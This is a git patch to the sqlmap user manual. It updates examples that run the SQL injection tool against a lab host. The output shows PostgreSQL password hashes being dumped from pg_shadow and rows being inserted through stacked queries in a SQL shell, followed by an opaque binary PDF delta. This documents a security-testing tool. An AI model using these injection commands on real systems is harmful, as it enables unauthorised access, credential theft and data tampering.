From 9ab174a444bd3b8c2b15cd51b46fcb8432320ac3 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Sun, 1 Feb 2009 13:44:44 +0000 Subject: [PATCH] Almost ready with the user's manual for 0.6.4 release --- doc/README.html | 37 ++++++++++++++++++++++++++++--------- doc/README.pdf | Bin 335968 -> 336625 bytes doc/README.sgml | 38 +++++++++++++++++++++++++++++--------- 3 files changed, 57 insertions(+), 18 deletions(-) diff --git a/doc/README.html b/doc/README.html index 7723435a2..9e48db94a 100644 --- a/doc/README.html +++ b/doc/README.html @@ -3545,7 +3545,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql "SELECT usename FROM pg_user" -v 0 [hh:mm:32] [INPUT] can the SQL query provided return multiple entries? [Y/n] y -[hh:mm:37] [INPUT] the SQL query provided can return up to 2 entries. How many entries +[hh:mm:37] [INPUT] the SQL query provided can return up to 3 entries. How many entries do you want to retrieve? [a] All (default) [#] Specific number @@ -3643,11 +3643,10 @@ do you want to retrieve? [a] All (default) [#] Specific number [q] Quit -Choice: +Choice: 2 SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]: [*] postgres, md5d7d880f96044b72d0bba108ace96d1e4 [*] testuser, md599e5ea7a6f7c3269995cba3927fd0093 -[*] testuser2,

@@ -3788,22 +3787,42 @@ an asterisk instead of the column(s) name, sqlmap first retrieves the column names of the table then asks if the query can return multiple entries and goes on.

-

Example of SQL statement other than SELECT on an Oracle XE -10.2.0.1 target:

+

Example of SQL statement other than SELECT on a PostgreSQL +8.3.5 target:

-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --sql-shell -v 1
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 1
 
 [...]
-back-end DBMS: Oracle
+back-end DBMS: PostgreSQL
 
-[hh:mm:20] [INFO] calling Oracle shell. To quit type 'x' or 'q' and press ENTER
-sql> TODO
+[10:11:42] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER
+sql> SELECT COUNT(name) FROM users
+[10:11:57] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
+[10:11:57] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
+[10:11:59] [INFO] query: SELECT COALESCE(CAST(COUNT(name) AS CHARACTER(10000)), CHR(32)) FROM users
+[10:11:59] [INFO] retrieved: 4
+[10:11:59] [INFO] performed 13 queries in 0 seconds
+SELECT COUNT(name) FROM users:    '4'
+
+sql> INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');
+[10:12:35] [INFO] testing stacked queries support on parameter 'id'
+[10:12:40] [INFO] the web application supports stacked queries on parameter 'id'
+[10:12:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');'
+[10:12:40] [INFO] done
+sql> SELECT COUNT(name) FROM users
+[10:12:51] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
+[10:12:51] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
+[10:12:53] [INFO] query: SELECT COALESCE(CAST(COUNT(name) AS CHARACTER(10000)), CHR(32)) FROM users
+[10:12:53] [INFO] retrieved: 5
+[10:12:54] [INFO] performed 20 queries in 0 seconds
+SELECT COUNT(name) FROM users:    '5'
 

+

TODO

5.8 File system access diff --git a/doc/README.pdf b/doc/README.pdf index 191c544b14e753376bd4c1809ea790a1bb3a093a..e18c43b52c281f6d80f24661b687908ea498d8ca 100644 GIT binary patch delta 38803 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 